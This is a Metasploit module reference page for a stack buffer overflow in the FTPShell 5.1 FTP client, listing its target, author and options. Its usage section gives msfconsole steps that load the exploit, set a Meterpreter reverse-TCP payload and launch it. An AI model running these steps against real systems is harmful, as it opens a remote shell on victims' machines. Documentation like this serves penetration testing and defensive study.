FTPShell 5.1 Stack Buffer Overflow | Metasploit Exploit Database (DB)

FTPShell 5.1 Stack Buffer Overflow

This module exploits a stack buffer overflow in FTPShell 5.1. The overflow gets triggered when the ftp clients tries to process an overly response to a PWD command. This will overwrite the saved EIP and structured exception handler.

Search Other Modules


Exploit Rank

  • Good

Exploit Authors

  • corelanc0d3r < peter.ve [at] corelan.be >

Vulnerability References


Exploit Targets

  • 0 - Windows XP Universal (default)

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/ftp/ftpshell51_pwd_reply
msf exploit(ftpshell51_pwd_reply) > show payloads
msf exploit(ftpshell51_pwd_reply) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ftpshell51_pwd_reply) > set LHOST [MY IP ADDRESS]
msf exploit(ftpshell51_pwd_reply) > exploit


Exploit Module Options

SRVHOST The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0)
SRVPORT The local port to listen on. (default: 21)
SSL Negotiate SSL for incoming connections
SSLCert Path to a custom SSL certificate (default is randomly generated)
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3)
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
ListenerComm The specific communication channel to use for this service
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
TCP::max_send_size Maximum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)